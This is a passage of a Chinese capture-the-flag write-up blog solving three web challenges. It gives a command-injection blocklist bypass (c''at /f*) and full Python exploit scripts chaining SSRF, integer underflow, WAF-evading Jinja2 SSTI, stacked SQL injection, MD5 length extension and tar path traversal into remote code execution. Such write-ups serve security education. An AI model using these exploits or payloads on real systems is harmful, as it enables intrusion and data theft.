jaG8gIuaWveazleS4rS4uLlxuIjsNCiAgICAgICAgICAgIGVjaG8gIuKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgVxuIjsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJHJlc3VsdCA9IHNoZWxsX2V4ZWMoJHNwZWxsKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgaWYgKCRyZXN1bHQpIHsNCiAgICAgICAgICAgICAgICBlY2hvICLinKgg5bCB5Y2w6Kej6Zmk5LqGIeWuneeuseaAqua2iOWkseS6hiFcblxuIjsNCiAgICAgICAgICAgICAgICBlY2hvICLjgJDmlr3ms5Xnu5PmnpzjgJE6XG4iOw0KICAgICAgICAgICAgICAgIGVjaG8gJHJlc3VsdDsNCiAgICAgICAgICAgICAgICBlY2hvICJcbuKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgVxuIjsNCiAgICAgICAgICAgICAgICBlY2hvICLoipnoipk6IFwi5aSq5qOS5LqGIeS9oOaIkOWKn+aVkeWHuuS6huaIkSHov5nmmK\/miJHnj43ol4\/nmoTnpZ7np5jljbfovbQs55yL55yL6YeM6Z2i5pyJ5LuA5LmIflwiXG4iOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBlY2hvICLinYwg5ZKS6K+t5Ly85LmO5rKh5pyJ5pWI5p6cLi4uXG4iOw0KICAgICAgICAgICAgICAgIGVjaG8gIuiKmeiKmTogXCLkuZ\/orrjpnIDopoHosIPmlbTkuIDkuIvlkpLor63nmoTlhoXlrrk\/XCJcbiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIGVjaG8gJzwvcHJlPic7DQogICAgICAgICAgICBlY2hvICc8L2Rpdj4nOw0KICAgICAgICB9DQogICAgICAgID8+DQogICAgICAgIA0KICAgIDwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPg==<\/code><\/pre>\n\n\n\n
\u5bf9\u5176\u8fdb\u884c\u89e3\u7801\u5e76\u63d0\u53d6\u5173\u952e\u4ee3\u7801<\/p>\n\n\n\n
\n        <?php\n        if (isset($_GET['spell'])) {\n            echo '<div class=\"error-box\">';\n            echo '<h2>\ud83d\udd2e \u89e3\u5f00\u5b9d\u7bb1\u602a\u7684\u5c01\u5370<\/h2>';\n            echo '<pre>';\n            echo \"\u8299\u8299: \"\u8fd9\u4e2a\u5b9d\u7bb1\u602a\u6709\u4e00\u4e2a\u53e4\u8001\u7684\u5c01\u5370,\u9700\u8981\u6b63\u786e\u7684\u9b54\u6cd5\u5492\u8bed\u624d\u80fd\u89e3\u5f00...\"n\";\n            echo \"\u8299\u8299: \"\u6211\u8bb0\u5f97\u5c01\u5370\u7684\u5173\u952e\u5728\u6839\u76ee\u5f55\u7684\u67d0\u4e2a\u6587\u4ef6\u91cc...\"n\";\n            echo \"\u8299\u8299: \"\u4f46\u662f\u5b9d\u7bb1\u602a\u7684\u9b54\u6cd5\u5c4f\u969c\u4f1a\u62d2\u7edd\u67d0\u4e9b\u5371\u9669\u7684\u5492\u8bed!\"n\";\n            echo \"\u8299\u8299: \"\u4e5f\u8bb8\u4f60\u53ef\u4ee5\u7528 Linux \u547d\u4ee4\u6765\u8bfb\u53d6\u90a3\u4e2a\u6587\u4ef6?\"n\";\n\n            $spell = $_GET['spell'];\n            echo \"\u4f60\u7684\u5492\u8bed: \" . htmlspecialchars($spell) . \"n\";\n\n            $forbidden = array('system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open');\n            foreach ($forbidden as $bad) {\n                if (stripos($spell, $bad) !== false) {\n                    die(\"\u26a0\ufe0f \u68c0\u6d4b\u5230\u7981\u5fcc\u7684\u9ed1\u9b54\u6cd5!n\u8299\u8299: \"\u5b9d\u7bb1\u602a\u62d2\u7edd\u4e86\u8fd9\u4e2a\u5492\u8bed...\"n<\/pre><\/div><\/body><\/html>\");\n                }\n            }\n\n            if (stripos($spell, 'flag') !== false) {\n                die(\"\u26a0\ufe0f \u5b9d\u7bb1\u602a\u7684\u9b54\u6cd5\u5c4f\u969c\u542f\u52a8\u4e86!\u5b83\u4e0d\u5141\u8bb8\u76f4\u63a5\u5ff5\u51fa 'flag' \u8fd9\u4e2a\u8bcd!n<\/pre><\/div><\/body><\/html>\");\n            }\n\n            $blocked_commands = array('cat', 'tac', 'nl', 'more', 'less', 'head', 'tail', 'sort', 'uniq', 'strings', 'od', 'xxd', 'hexdump', 'grep', 'awk', 'sed', 'cut', 'rev', 'base64', 'env');\n            foreach ($blocked_commands as $cmd) {\n                if (stripos($spell, $cmd) !== false) {\n                    die(\"\u26a0\ufe0f \u5b9d\u7bb1\u602a\u8bc6\u7834\u4e86\u4f60\u7684\u5492\u8bed!\u547d\u4ee4 '$cmd' \u5df2\u88ab\u5c01\u5370!n\u8299\u8299: \"\u8fd9\u4e9b\u5e38\u7528\u7684\u547d\u4ee4\u90fd\u88ab\u5c4f\u853d\u4e86...\u5f97\u60f3\u60f3\u5176\u4ed6\u529e\u6cd5...\"n<\/pre><\/div><\/body><\/html>\");\n                }\n            }\n\n            echo \"\u65bd\u6cd5\u4e2d...n\";\n            echo \"\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501n\";\n\n            $result = shell_exec($spell);\n\n            if ($result) {\n                echo \"\u2728 \u5c01\u5370\u89e3\u9664\u4e86!\u5b9d\u7bb1\u602a\u6d88\u5931\u4e86!nn\";\n                echo \"\u3010\u65bd\u6cd5\u7ed3\u679c\u3011:n\";\n                echo $result;\n                echo \"n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501n\";\n                echo \"\u8299\u8299: \"\u592a\u68d2\u4e86!\u4f60\u6210\u529f\u6551\u51fa\u4e86\u6211!\u8fd9\u662f\u6211\u73cd\u85cf\u7684\u795e\u79d8\u5377\u8f74,\u770b\u770b\u91cc\u9762\u6709\u4ec0\u4e48~\"n\";\n            } else {\n                echo \"\u274c \u5492\u8bed\u4f3c\u4e4e\u6ca1\u6709\u6548\u679c...n\";\n                echo \"\u8299\u8299: \"\u4e5f\u8bb8\u9700\u8981\u8c03\u6574\u4e00\u4e0b\u5492\u8bed\u7684\u5185\u5bb9?\"n\";\n            }\n\n            echo '<\/pre>';\n            echo '<\/div>';\n        }\n        ?><\/code><\/pre>\n\n\n\n
\u6e90\u7801\u4e5f\u5f88\u7b80\u5355\u57fa\u672c\u7684\u63d0\u793a\u90fd\u7ed9\u4e86\u76f4\u63a5\u6784\u9020payload<\/p>\n\n\n\n
\u6784\u9020payload<\/p>\n\n\n\n
?spell=c%27%27at%20\/f*<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5f97\u5230flag<\/p>\n\n\n\n
08141208168280711207642457101562<\/code><\/pre>\n\n\n\n
cybers<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6709\u9644\u4ef6\u4ee3\u7801\u5ba1\u8ba1 \u6574\u4f53\u601d\u8def\u5c31\u662f<\/p>\n\n\n\n
\u5b58\u5728\u660e\u663e\u7684\u524d\u540e\u7aef\u5206\u79bb\u67b6\u6784\uff0c\u524d\u7aef\uff088080\u7aef\u53e3\uff09\u5b58\u5728\u53c2\u6570\u6821\u9a8c\u548c \/relay<\/code> SSRF\uff0c\u540e\u7aef\uff085000\u7aef\u53e3\uff09\u5b58\u5728\u6838\u5fc3\u4e1a\u52a1\u903b\u8f91\u6f0f\u6d1e\u3002<\/p>\n\n\n\n
\u9891\u7387\u9650\u5236\u7ed5\u8fc7<\/p>\n\n\n\n
def get_user() -> str:\n    if 'user_id' not in session:\n        session['user_id'] = uuid.uuid4()\n    return session['user_id']\n\nlimiter = Limiter(app=app, key_func=get_user, default_limits=['5\/minute'])\n\n@app.route('\/gift')\n@limiter.limit(\"1\/hour\")<\/code><\/pre>\n\n\n\n
\u5206\u6790\uff1a<\/strong><\/p>\n\n\n\n
`flask_limiter` \u7684\u9650\u6d41\u6807\u8bc6\u57fa\u4e8e `session['user_id']`\u3002\u7531\u4e8e Session \u5b58\u5728\u4e8e\u5ba2\u6237\u7aef\uff0c\u53ea\u8981\u53d1\u9001\u4e0d\u5e26 Cookie \u7684\u8bf7\u6c42\uff0c\u670d\u52a1\u7aef\u5c31\u4f1a\u5206\u914d\u65b0\u7684 UUID\u3002\u8fd9\u5bfc\u81f4 `@limiter.limit(\"1\/hour\")` \u7b49\u9650\u5236\u5f62\u540c\u865a\u8bbe\uff0c\u53ef\u4ee5\u65e0\u9650\u5236\u91cd\u7f6e\u8eab\u4efd\u53d1\u5305\u3002<\/code><\/pre>\n\n\n\n
NumPy \u6574\u6570\u4e0b\u6ea2\u51fa<\/p>\n\n\n\n
@app.route('\/gift')\ndef get_money():\n    if 'money' in request.args:\n        # \u53ea\u9650\u5236\u4e86\u6700\u5927\u503c\uff0c\u672a\u9650\u5236\u8d1f\u6570\n        if int(request.args.get('money')) < 80:\n            int_money = int(request.args.get('money'))\n\n@app.route('\/genshop', methods=[\"POST\"])\ndef get_letter():\n    # ...\n    money = np.array(money)\n    money -= stimulate() * 5000\n    if money < 0:\n        result = \"You don't have enough money\"<\/code><\/pre>\n\n\n\n
\u5206\u6790\uff1a<\/strong><\/p>\n\n\n\n
\/gift \u63a5\u53e3\u7f3a\u5c11\u4e0b\u754c\u6821\u9a8c\uff0c\u53ef\u4f20\u5165 64 \u4f4d\u6574\u6570\u6700\u5c0f\u503c -9223372036854775808 \u5b58\u5165 Session\u3002\n\u5728 \/genshop \u63a5\u53e3\u4e2d\uff0cmoney \u88ab\u8f6c\u6362\u4e3a numpy.array\uff0c\u968f\u540e\u51cf\u53bb\u4e00\u4e2a\u6b63\u6570\uff08stimulate() * 5000\uff09\u3002\u8fd9\u4f1a\u89e6\u53d1\u5e95\u5c42 C \u8bed\u8a00\u7684\u6574\u6570\u4e0b\u6ea2\u51fa\uff0c\u4f7f\u53d8\u91cf\u7ffb\u8f6c\u4e3a\u4e00\u4e2a\u5de8\u5927\u7684\u6b63\u6570\uff0c\u5b8c\u7f8e\u7ed5\u8fc7 money < 0 \u7684\u6821\u9a8c\u8fdb\u5165\u540e\u534a\u6bb5\u903b\u8f91\u3002<\/code><\/pre>\n\n\n\n
SSTI \u4e0e WAF \u7ed5\u8fc7<\/p>\n\n\n\n
@app.route('\/genshop', methods=[\"POST\"])\ndef get_letter():\n    # ...\n    else:\n        session['money'] = 0\n        letter = waf(letter) # \u5b58\u5728\u6781\u4e25\u683c\u7684\u9ed1\u540d\u5355\n        result = \"You are not allowed to use this letter\"\n        if letter not in letters:\n            # \u6f0f\u6d1e\u70b9\uff1a\u8f93\u5165\u76f4\u63a5\u62fc\u63a5\u5165 f-string \u8fdb\u884c\u6a21\u677f\u6e32\u67d3\n            result = f\"The {letter} is not in the genshop\"\n    # ...\n    return render_template_string(f\"<h3>{result}<\/h3>\")<\/code><\/pre>\n\n\n\n
\u5206\u6790\uff1a<\/strong><\/p>\n\n\n\n
letter \u53d8\u91cf\u76f4\u63a5\u62fc\u63a5\u5165 render_template_string \u5bfc\u81f4 SSTI\u3002\u7531\u4e8e\u540e\u7aef waf() \u8fc7\u6ee4\u4e86 . _ [ ] os \u7b49\u5173\u952e\u5b57\uff0c\u9700\u4f7f\u7528\u5404\u79cd\u5185\u7f6e\u8fc7\u6ee4\u5668\u8fdb\u884c bypass\uff1a\n\nlipsum|string|batch(19)|first|last \u63d0\u53d6\u4e0b\u5212\u7ebf _\u3002\ndict(o=1,s=1)|join \u62fc\u63a5\u51fa os\u3002\nattr() \u65b9\u6cd5\u66ff\u4ee3 . \u5c5e\u6027\u8c03\u7528\u3002\n\u901a\u8fc7 SUID \u63d0\u6743\u7684 tar \u547d\u4ee4\uff1atar cf - \/flag | tar xf - --to-stdout \u8d8a\u6743\u8bfb\u53d6 root \u6743\u9650\u7684 flag \u6587\u4ef6\u3002<\/code><\/pre>\n\n\n\n
exp.py<\/p>\n\n\n\n
import requests\nimport urllib.parse\nimport re\n\nTARGET = \"http:\/\/45.40.247.139:18036\"\ns = requests.Session()\n\ndef relay_raw(raw_http):\n    r = s.post(f\"{TARGET}\/relay\", data={\"port\": \"5000\", \"data\": raw_http}, timeout=15)\n    return r.text\n\ndef extract_cookie(resp):\n    m = re.search(r'Set-Cookie: session=([^;]+)', resp)\n    return m.group(1) if m else None\n\ndef setup_credits():\n    s.get(f\"{TARGET}\/initialize\")\n    resp = relay_raw(\"GET \/initialize HTTP\/1.1rnHost: 127.0.0.1:5000rnrn\")\n    cookie = extract_cookie(resp)\n    hack_http = (\n        f\"GET \/hack?amount=-9223372036854775808 HTTP\/1.1rn\"\n        f\"Host: 127.0.0.1:5000rn\"\n        f\"Cookie: session={cookie}rnrn\"\n    )\n    resp = relay_raw(hack_http)\n    return extract_cookie(resp) or cookie\n\ndef build_payload(cmd):\n    parts = [\n        '{%set ud=lipsum|string|batch(19)|first|last%}',\n        '{%set gl=ud~ud~(dict(glob=1,als=1)|join)~ud~ud%}',\n        '{%set gi=ud~ud~(dict(get=1,it=1,em=1)|join)~ud~ud%}',\n        '{%set gd=lipsum|attr(gl)%}',\n        '{%set bi=ud~ud~(dict(built=1,ins=1)|join)~ud~ud%}',\n        '{%set bd=gd|attr(gi)(bi)%}',\n        '{%set im=ud~ud~(dict(im=1,port=1)|join)~ud~ud%}',\n        '{%set xx=dict(o=1,s=1)|join%}',\n        '{%set omod=bd|attr(gi)(im)(xx)%}',\n        '{%set po=dict(po=1,pen=1)|join%}',\n        '{%set cr=dict(chr=1)|join%}',\n        '{%set CF=bd|attr(gi)(cr)%}',\n    ]\n    cmd_expr = '~'.join([f'CF({ord(c)})' for c in cmd])\n    parts.append('{%set cmd=' + cmd_expr + '%}')\n    parts.append('{%print(omod|attr(po)(cmd)|attr(dict(re=1,ad=1)|join)())%}')\n    return ''.join(parts)\n\ndef execute(cmd):\n    cookie = setup_credits()\n    payload = build_payload(cmd)\n    body = f\"fragment={urllib.parse.quote(payload)}\"\n    raw = (\n        f\"POST \/market HTTP\/1.1rn\"\n        f\"Host: 127.0.0.1:5000rn\"\n        f\"Cookie: session={cookie}rn\"\n        f\"Content-Type: application\/x-www-form-urlencodedrn\"\n        f\"Content-Length: {len(body)}rnrn\"\n        f\"{body}\"\n    )\n    resp = relay_raw(raw)\n    m = re.search(r\"<h3>(.*?)<\/h3>\", resp, re.DOTALL)\n    return m.group(1).strip() if m else resp\n\nif __name__ == '__main__':\n    command = \"tar cf - \/flag 2>\/dev\/null | tar xf - --to-stdout\"\n    result = execute(command)\n    flag = re.search(r'(DASCTF{.*?})', result)\n    if flag:\n        print(flag.group(1))\n    else:\n        print(result)<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
77940475591226541720597140039666<\/code><\/pre>\n\n\n\n
Fisafopil<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u4e2a\u9898\u76ee FastAPI + SQLite + Jinja2 \u6784\u5efa\uff0c\u6574\u4f53\u8003\u5bdf\u4e86\u591a\u91cd\u6f0f\u6d1e\u7684\u7ec4\u5408\u5229\u7528\u3002\u5b8c\u6574\u653b\u51fb\u94fe\u4e3a\uff1a\u5806\u53e0\u6ce8\u5165\u6cc4\u9732 Hash \u2192 MD5 \u957f\u5ea6\u6269\u5c55\u653b\u51fb\u7ed5\u8fc7\u4e2d\u95f4\u4ef6\u9632\u62a4 \u2192 \u63a5\u7ba1 Admin \u6743\u9650 \u2192 Tar \u76ee\u5f55\u7a7f\u8d8a\u8986\u76d6\u6a21\u677f \u2192 Jinja2 SSTI \u89e6\u53d1 RCE\u3002<\/strong>\u4ee3\u7801\u5ba1\u8ba1<\/p>\n\n\n\n
SQL \u6ce8\u5165\u6f0f\u6d1e<\/strong><\/p>\n\n\n\n
\u5728 app.py<\/code> \u7684 \/edit-profile<\/code> \u8def\u7531\u4e2d\uff0c\u7a0b\u5e8f\u76f4\u63a5\u4f7f\u7528 f-string \u62fc\u63a5 SQL \u8bed\u53e5\u5e76\u8c03\u7528 cursor.executescript()<\/code> \u6267\u884c\u66f4\u65b0\u64cd\u4f5c\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5ba1\u8ba1 ProfileUpdate \u9a8c\u8bc1\u7c7b\u53d1\u73b0\uff0cemployee_number\u3001phone_number \u7b49\u5b57\u6bb5\u5747\u88ab\u6b63\u5219 r\"[^ws]\" \u4e25\u683c\u8fc7\u6ee4\u4e86\u7279\u6b8a\u5b57\u7b26\uff0c\u552f\u72ec\u6f0f\u6389\u4e86 email \u5b57\u6bb5\u3002\u7531\u4e8e\u4f7f\u7528\u4e86 executescript\uff0c\u652f\u6301\u4ee5 ; \u5206\u9694\u6267\u884c\u591a\u6761 SQL \u8bed\u53e5\uff0c\u5bfc\u81f4\u4e25\u91cd\u7684\u5806\u53e0\u6ce8\u5165\u3002<\/code><\/pre>\n\n\n\n
\u81ea\u5b9a\u4e49\u52a0\u5bc6\u7b97\u6cd5\u5206\u6790<\/strong><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5ba1\u8ba1 encrypt.py\uff0c\u4ee3\u7801\u7ecf\u8fc7\u4e86\u4e0b\u5212\u7ebf\u6df7\u6dc6\u5904\u7406\u3002\u4f46\u63d0\u53d6\u5176\u521d\u59cb\u5316\u5e38\u91cf 0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476\uff0c\u4ee5\u53ca K \u8868\u7684\u751f\u6210\u903b\u8f91 [int(math.floor(abs(math.sin(_________ + 1)) * (2**32))) for _________ in range(64)]\uff0c\u53ef\u4ee5\u65ad\u5b9a\u8fd9\u662f\u4e00\u4e2a\u6807\u51c6\u7684 MD5 \u54c8\u5e0c\u7b97\u6cd5\u5b9e\u73b0\u3002\u540e\u7aef\u52a0\u5bc6\u903b\u8f91\u4e3a MD5(SALT + password)\uff0c\u5176\u4e2d SALT \u957f\u5ea6\u56fa\u5b9a\u4e3a 16 \u5b57\u8282\u3002<\/code><\/pre>\n\n\n\n
\u4e2d\u95f4\u4ef6\u91cd\u7f6e\u673a\u5236\u4e0e\u7ed5\u8fc7 (MD5\u957f\u5ea6\u6269\u5c55\u653b\u51fb)<\/strong><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
@app.middleware(\"http\")\nasync def add_process_time_header(request: Request, call_next):\n    # ...\n    cursor.execute(\"SELECT password FROM users WHERE username = 'admin'\")\n    if cursor.fetchone()[0] in PASSWORD_SET:\n        raise Exception\n    except Exception:\n        await startup_event() # \u89e6\u53d1\u91cd\u7f6e\uff0c\u6e05\u7a7a\u6570\u636e\u5e93<\/code><\/pre>\n\n\n\n
PASSWORD_SET \u4fdd\u5b58\u4e86\u6240\u6709\u6b63\u5e38\u6ce8\u518c\u6d41\u7a0b\u751f\u6210\u7684\u5bc6\u7801 Hash\u3002\u5982\u679c\u76f4\u63a5\u901a\u8fc7 SQL \u6ce8\u5165\u5c06 admin \u7684\u5bc6\u7801\u4fee\u6539\u4e3a\u4efb\u610f\u5df2\u77e5\u660e\u6587\u7684 Hash\uff0c\u4e00\u65e6\u9a8c\u8bc1\u5728 PASSWORD_SET \u4e2d\uff0c\u6570\u636e\u5e93\u5c31\u4f1a\u88ab\u521d\u59cb\u5316\u3002\n\n\u6b64\u5904\u9700\u5229\u7528 MD5 \u957f\u5ea6\u6269\u5c55\u653b\u51fb\u3002\u5df2\u77e5 SALT \u957f\u5ea6\u4e3a 16\uff0c\u6ce8\u518c\u4e00\u4e2a\u666e\u901a\u7528\u6237\u5e76\u8bbe\u7f6e\u5bc6\u7801\uff08\u5982\u957f 8 \u5b57\u8282\uff09\uff0c\u524d\u7f6e\u5df2\u77e5\u6570\u636e\u957f\u5ea6\u4e3a 24 \u5b57\u8282\u3002\u901a\u8fc7 SQL \u6ce8\u5165\u8bfb\u53d6\u8be5 Hash \u540e\uff0c\u5411\u5176\u8ffd\u52a0\u81ea\u5b9a\u4e49\u6570\u636e\uff0c\u751f\u6210\u4e00\u4e2a\u5168\u65b0\u7684\u5408\u6cd5 Hash\uff0c\u540c\u65f6\u8ba1\u7b97\u51fa\u5e26\u6709 padding \u7684\u65b0\u5bc6\u7801\u3002\u8fd9\u4e2a\u65b0 Hash \u4e0d\u5b58\u5728\u4e8e PASSWORD_SET \u4e2d\uff0c\u4ece\u800c\u5b8c\u7f8e\u7ed5\u8fc7\u9632\u5fa1\u673a\u5236\u63a5\u7ba1 Admin \u8d26\u53f7\u3002<\/code><\/pre>\n\n\n\n
Tar \u76ee\u5f55\u7a7f\u8d8a\u4e0e SSTI (RCE)<\/strong>
\u5728 \/admin\/restore<\/code> \u8def\u7531\u4e2d\uff0c\u5904\u7406\u4e0a\u4f20\u7684\u5907\u4efd\u6587\u4ef6\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
backup_tar_file = tarfile.open(backup_filepath, \"r\")\nbackup_tar_file.extractall(backup_dir)<\/code><\/pre>\n\n\n\n
\u83b7\u53d6 admin \u6743\u9650\u540e\uff0c\u53ef\u8bbf\u95ee \/admin\/restore \u7aef\u70b9\u4e0a\u4f20 .tar \u5907\u4efd\u6587\u4ef6\u3002\n\u540e\u7aef\u4f7f\u7528 tarfile.extractall() \u89e3\u538b\u6587\u4ef6\uff0c\u8be5\u51fd\u6570\u5728\u65e7\u7248\u672c\u4e2d\u5b58\u5728\u76ee\u5f55\u7a7f\u8d8a\u6f0f\u6d1e\uff0c\u672a\u5bf9\u538b\u7f29\u5305\u5185\u7684\u6587\u4ef6\u540d\u8fdb\u884c\u7edd\u5bf9\u8def\u5f84\u6216 ..\/ \u8fc7\u6ee4\u3002\n\u7ed3\u5408\u524d\u7aef\u7531 Jinja2 \u6e32\u67d3\u7684\u7279\u6027\uff0c\u6784\u9020\u6587\u4ef6\u540d\u4e3a ..\/templates\/info.html \u7684\u6076\u610f tar \u5305\u8986\u76d6\u539f\u751f\u6a21\u677f\u3002\u5728\u6a21\u677f\u4e2d\u6ce8\u5165 {{ lipsum.__globals__[\"os\"].popen(\"cat \/flag\").read() }}\u3002\u7531\u4e8e FastAPI \u73af\u5883\u4e0b\u7684 Jinja2 \u901a\u5e38\u5e26\u6709 auto_reload \u6216\u5728\u91cd\u65b0\u6e32\u67d3\u65f6\u52a0\u8f7d\u6700\u65b0\u6587\u4ef6\uff0c\u8bbf\u95ee \/info \u5373\u53ef\u89e6\u53d1 SSTI\uff0c\u5b9e\u73b0 RCE<\/code><\/pre>\n\n\n\n
\u5229\u7528\u94fe\u6784\u5efa<\/strong><\/p>\n\n\n\n
\u6ce8\u518c\u4e0e\u4fe1\u606f\u6536\u96c6\uff1a\u6ce8\u518c\u666e\u901a\u7528\u6237\uff0c\u901a\u8fc7 SQL \u6ce8\u5165\u5c06\u81ea\u8eab\u5bc6\u7801\u7684 Hash \u66f4\u65b0\u5230 email \u5b57\u6bb5\uff0c\u968f\u540e\u8bbf\u95ee \/info \u9875\u9762\u8bfb\u53d6\u8be5 Hash\u3002\n\u7b97\u6cd5\u4f2a\u9020\uff1a\u5229\u7528\u63d0\u53d6\u5230\u7684 Hash \u6267\u884c MD5 \u957f\u5ea6\u6269\u5c55\uff0c\u751f\u6210\u5e26\u6709\u6269\u5c55\u6570\u636e\u7684\u4f2a\u9020\u5bc6\u7801\u53ca\u5bf9\u5e94\u7684\u65b0 Hash\u3002\n\u8d8a\u6743\u63a5\u7ba1\uff1a\u518d\u6b21\u89e6\u53d1 SQL \u6ce8\u5165\uff0c\u6267\u884c UPDATE users SET password='<\u65b0Hash>' WHERE username='admin'\u3002\n\u8986\u76d6\u6a21\u677f\uff1a\u4f7f\u7528\u4f2a\u9020\u5bc6\u7801\u767b\u5f55 Admin\uff0c\u6784\u9020\u5305\u542b ..\/templates\/info.html \u7684 .tar \u538b\u7f29\u5305\u5e76\u4e0a\u4f20\u3002\nRCE \u63d0\u53d6\uff1a\u8bbf\u95ee \/info\uff0cJinja2 \u6e32\u67d3\u88ab\u6c61\u67d3\u7684\u6a21\u677f\uff0c\u56de\u663e Flag\u3002<\/code><\/pre>\n\n\n\n
exp.py<\/p>\n\n\n\n
import requests\nimport binascii\nimport struct\nimport math\nimport re\nimport tarfile\nimport io\nimport time\nimport random\nimport string\n\nTARGET = \"http:\/\/45.40.247.139:19231\"\n\ndef left_rotate(n, b):\n    return ((n << b) | (n >> (32 - b))) & 0xFFFFFFFF\n\nK_TABLE = [int(math.floor(abs(math.sin(i+1))*(2**32))) & 0xFFFFFFFF for i in range(64)]\nS_TABLE = [7,12,17,22]*4 + [5,9,14,20]*4 + [4,11,16,23]*4 + [6,10,15,21]*4\n\ndef md5_compress(state, block):\n    a, b, c, d = state\n    M = list(struct.unpack(\"<16I\", block))\n    A, B, C, D = a, b, c, d\n    for i in range(64):\n        if i < 16:\n            F = (B & C) | ((~B) & 0xFFFFFFFF & D)\n            g = i\n        elif i < 32:\n            F = (D & B) | (C & ((~D) & 0xFFFFFFFF))\n            g = (5 * i + 1) % 16\n        elif i < 48:\n            F = B ^ C ^ D\n            g = (3 * i + 5) % 16\n        else:\n            F = C ^ (B | ((~D) & 0xFFFFFFFF))\n            g = (7 * i) % 16\n\n        F = (F + A + K_TABLE[i] + M[g]) & 0xFFFFFFFF\n        A = D\n        D = C\n        C = B\n        B = (B + left_rotate(F, S_TABLE[i])) & 0xFFFFFFFF\n\n    return ((a + A) & 0xFFFFFFFF, (b + B) & 0xFFFFFFFF, (c + C) & 0xFFFFFFFF, (d + D) & 0xFFFFFFFF)\n\ndef md5_padding(ml):\n    return b\"x80\" + b\"x00\" * ((55 - ml) % 64) + struct.pack(\"<Q\", ml * 8)\n\ndef md5_from_state(state, data):\n    a, b, c, d = state\n    for i in range(0, len(data), 64):\n        a, b, c, d = md5_compress((a, b, c, d), data[i:i+64])\n    return struct.pack(\"<4I\", a, b, c, d).hex()\n\ndef length_extension(h, ml, ext):\n    state = struct.unpack(\"<4I\", bytes.fromhex(h))\n    glue = md5_padding(ml)\n    tl = ml + len(glue) + len(ext)\n    return md5_from_state(state, ext + md5_padding(tl)), glue + ext\n\nP1 = b\"exploitpwd\"\nuname = \"exp\" + ''.join(random.choices(string.ascii_lowercase, k=6))\nuh = binascii.b2a_hex(uname.encode()).decode()\nph = binascii.b2a_hex(P1).decode()\n\nsession = requests.Session()\nsession.timeout = 15\n\nsession.post(f\"{TARGET}\/register\", json={\n    \"username\": uh,\n    \"password\": ph,\n    \"employee_number\": \"E00001\",\n    \"email\": \"x@x.com\",\n    \"phone_number\": \"11111111\",\n    \"first_name\": \"T\",\n    \"last_name\": \"U\",\n    \"date_of_birth\": \"2000-01-01\",\n    \"address\": \"A\"\n})\n\nsession.post(f\"{TARGET}\/login\", data={\n    \"username\": uh,\n    \"password\": ph\n})\n\nsqli_get_hash = f\"x@x.com'; UPDATE users SET address=(SELECT password FROM users WHERE username='{uname}') WHERE username='{uname}'; --\"\n\nsession.post(f\"{TARGET}\/edit-profile\", params={\n    \"employee_number\": \"E00001\",\n    \"email\": sqli_get_hash,\n    \"phone_number\": \"11111111\",\n    \"first_name\": \"T\",\n    \"last_name\": \"U\",\n    \"date_of_birth\": \"2000-01-01\",\n    \"address\": \"A\"\n})\n\nr = session.get(f\"{TARGET}\/info\")\nhashes = re.findall(r'[a-f0-9]{32}', r.text)\n\nif not hashes:\n    print(r.text)\n    exit(1)\n\nknown_hash = hashes[0]\n\noriginal_len = 16 + len(P1)\nappend_data = b\"admin_ext\"\n\nnew_hash, data_appended = length_extension(known_hash, original_len, append_data)\nextended_password = P1 + data_appended\n\nsqli_set_admin = f\"x@x.com'; UPDATE users SET password='{new_hash}' WHERE username='admin'; --\"\nsession.post(f\"{TARGET}\/edit-profile\", params={\n    \"employee_number\": \"E00001\",\n    \"email\": sqli_set_admin,\n    \"phone_number\": \"11111111\",\n    \"first_name\": \"T\",\n    \"last_name\": \"U\",\n    \"date_of_birth\": \"2000-01-01\",\n    \"address\": \"A\"\n})\n\nadmin_session = requests.Session()\nadmin_session.timeout = 15\nadmin_session.post(f\"{TARGET}\/login\", data={\n    \"username\": binascii.b2a_hex(b\"admin\").decode(),\n    \"password\": extended_password.hex()\n}, allow_redirects=False)\n\nssti = '<!DOCTYPE html><html><body><pre>{{ lipsum.__globals__[\"os\"].popen(\"cat \/flag \/flag.txt 2>\/dev\/null\").read() }}<\/pre><\/body><\/html>'\ntar_buf = io.BytesIO()\nwith tarfile.open(fileobj=tar_buf, mode=\"w\") as tf:\n    info = tarfile.TarInfo(name=\"..\/templates\/info.html\")\n    c = ssti.encode()\n    info.size = len(c)\n    tf.addfile(info, io.BytesIO(c))\n\ntar_buf.seek(0)\nadmin_session.post(f\"{TARGET}\/admin\/restore\", files={\"restore_file\": (\"backup.tar\", tar_buf, \"application\/x-tar\")})\ntime.sleep(1)\n\nr = admin_session.get(f\"{TARGET}\/info\")\nflag_match = re.search(r'(flag{.*?}|[a-zA-Z0-9_]+{.*?})', r.text, re.IGNORECASE)\nif flag_match:\n    print(flag_match.group(1))\nelse:\n    print(r.text.strip())<\/code><\/pre>\n\n\n\n
